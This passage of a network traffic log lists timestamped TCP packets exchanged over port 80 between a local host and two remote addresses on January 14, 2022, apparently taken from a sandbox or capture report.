Jan 14, 2022 01:51:47.438713074 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438734055 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438750982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438788891 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438802004 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438827038 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438863993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438879013 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438901901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438939095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.438954115 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.438977957 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.439038038 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.481611967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.481654882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.481741905 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513523102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513566017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513583899 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513598919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513618946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513638973 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513659000 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513683081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513696909 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513705015 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513729095 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513730049 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513736963 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513755083 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513776064 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513799906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513812065 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513822079 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513840914 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513876915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513897896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513914108 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513920069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513942003 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513957024 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.513962984 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.513983965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514008999 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514027119 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514038086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514040947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514062881 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514085054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514094114 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514111042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514133930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514134884 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514157057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514179945 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514199972 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514210939 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514224052 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514235020 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514247894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514270067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514281034 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514292002 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514314890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514324903 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514338017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514359951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514364004 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514383078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514406919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514430046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514431000 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514451027 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514461994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514472961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514496088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514502048 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514519930 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514544010 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514565945 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514571905 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514590025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.514590025 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.514801979 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556440115 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556477070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556494951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556514025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556533098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556551933 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556571007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556582928 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556588888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556611061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556613922 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556621075 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556626081 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556633949 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556655884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556677103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556683064 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556699038 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556720018 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556730032 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556744099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556766033 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556770086 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556788921 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556812048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556817055 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556878090 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556900024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556921959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556927919 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556947947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.556958914 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.556996107 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557032108 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557044029 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.557075977 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.557084084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557122946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557146072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557172060 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.557178974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557204008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557226896 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557231903 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.557249069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557269096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557291031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557296991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.557315111 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.557331085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.557579041 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589261055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589287996 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589307070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589328051 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589345932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589358091 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589392900 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589401960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589426994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589448929 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589457035 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589473009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589493990 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589514971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589523077 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589535952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589556932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589570045 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589576006 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589581013 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589596033 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589617968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589632988 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589637041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589660883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589670897 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589682102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589704037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589725971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589736938 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589749098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589755058 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589771032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589795113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589797020 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589817047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589838982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589867115 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589873075 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589883089 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589903116 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589924097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589945078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589965105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589972019 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.589986086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.589993000 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590008974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590030909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590039968 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590051889 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590073109 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590092897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590106964 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590115070 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590135098 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590137959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590156078 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590159893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590183020 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590203047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590224028 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590230942 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590245962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590251923 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590267897 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590287924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590296030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590310097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590331078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.590342045 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.590373039 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.592782974 CET	49864	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.631292105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631325960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631350040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631370068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631391048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631412983 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631421089 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631445885 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631445885 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631459951 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631469965 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631489992 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631511927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631521940 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631536961 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631557941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631573915 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631580114 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631602049 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631613970 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631649017 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631649971 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631673098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631711960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631725073 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631733894 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631756067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631779909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631791115 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631803989 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631825924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631839991 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631846905 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631870031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631885052 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631892920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631912947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.631916046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631937981 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631957054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.631968021 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.632014036 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.632014036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632038116 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632059097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632081985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632102013 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632112980 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.632122993 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632141113 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.632153988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632168055 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.632177114 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.632220984 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.643023014 CET	80	49864	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:47.643902063 CET	49864	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.645560980 CET	49864	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.645610094 CET	49864	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.664797068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664830923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664851904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664871931 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664892912 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664900064 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.664912939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664921999 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.664935112 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664953947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664963961 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.664973974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.664998055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665019035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665024042 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665040016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665057898 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665060997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665083885 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665095091 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665117025 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665141106 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665149927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665178061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665201902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665225983 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665227890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665246010 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665251970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665275097 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665296078 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665317059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665323019 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665339947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665344000 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665366888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665390015 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665391922 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665412903 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665436029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665458918 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665462017 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665482998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665494919 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665510893 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665540934 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665544033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665565014 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665585995 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665591002 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665613890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665637016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665647030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665659904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665683985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665690899 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665707111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665733099 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665735006 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665756941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665787935 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665787935 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665808916 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665831089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665869951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665890932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665890932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665900946 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665910959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665930986 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665939093 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.665951967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665971994 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.665982008 CET	49863	80	192.168.2.3	141.8.194.74
